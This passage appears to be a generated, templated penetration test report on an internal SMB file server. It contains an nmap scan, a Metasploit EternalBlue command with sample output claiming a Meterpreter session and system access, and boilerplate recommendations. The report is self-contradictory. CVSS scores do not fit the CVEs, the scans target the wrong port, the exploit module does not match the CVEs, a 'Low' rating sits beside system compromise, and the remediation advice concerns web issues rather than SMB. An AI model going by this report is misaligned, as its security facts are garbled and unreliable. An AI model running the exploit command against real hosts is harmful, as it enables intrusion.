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3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. |
Next Steps: |
- Address critical vulnerabilities within 24 hours |
- Remediate high risk findings within 7 days |
- Schedule retesting after fixes are implemented |
- Conduct developer security training focusing on OWASP Top 10 |
--- END REPORT --- |
=== Automated Penetration Test Report === |
Test ID: PT-2025-05-11-0002 |
Date: 2025-05-11 19:07:18 |
Tester: mchen |
Organization: SecureNet Solutions |
Confidentiality: STRICTLY CONFIDENTIAL |
Test Objective: execute penetration testing on the SMB file server (192.168.81.54) |
Scope: Internal security assessment |
Rules of Engagement: Standard |
=== Discovery Phase === |
Tester: nmap -sV -O --script=banner -p445,139 192.168.81.54 |
Tool Output: |
Starting Nmap 7.92 at 2025-05-11 19:07:18 |
Nmap scan report for 192.168.81.54 |
Host is up (0.42s latency). |
MAC Address: 98:8E:72:BF:F5:AB (Cisco) |
445/tcp open microsoft-ds unknown |
139/tcp open microsoft-ds unknown |
OS details: Windows Server 2016 |
OS CPE: cpe:/o:microsoft:windows_server_2016:- |
Network Distance: 3 hops |
Service Info: Hostname: smb-file-server-01 |
Nmap done: 1 IP address (1 host up) scanned in 7 seconds |
=== Vulnerability Assessment === |
Tools used: |
- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection |
- Burp Suite: Manual testing, session analysis, and business logic flaw identification |
- Nmap scripts: Service enumeration and vulnerability verification |
- Metasploit: Exploit verification and proof-of-concept testing |
## Vulnerability 1: CVE-2021-36942 (Windows SMB Security Feature Bypass) |
CVE: CVE-2021-36942 |
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) |
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing |
Test Method: nmap --script vuln -p80 192.168.81.54 |
Result: |
Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. |
Remediation: See vendor documentation |
## Vulnerability 2: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) |
CVE: CVE-2020-0796 |
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) |
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing |
Test Method: nmap --script vuln -p80 192.168.81.54 |
Result: |
Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. |
Remediation: See vendor documentation |
=== Exploitation Phase === |
Tool: Metasploit Framework 6.1 |
Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.81.54; set RPORT 445; exploit" |
Output: |
[*] Exploiting known vulnerabilities: |
- CVE-2020-0796 (CVE-2020-0796) |
- CVE-2021-36942 (CVE-2021-36942) |
[*] Started reverse TCP handler on port 445 |
[*] Sending payload... |
[*] Sending stage (354 bytes) |
[*] Meterpreter session 8 opened |
[*] Session established |
[*] Gained system access |
[*] Connected to 192.168.81.54 |
[*] Post-exploitation modules available: |
- hashdump |
- migrate |
- persistence |
=== Final Assessment === |
Overall Risk Rating: Low |
Confidence Level: Low |
Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation |
Key Findings: |
- 4 critical vulnerabilities identified |
- 2 high risk issues found |
- System configuration needs hardening |
Recommendations: |
1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. |
2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. |
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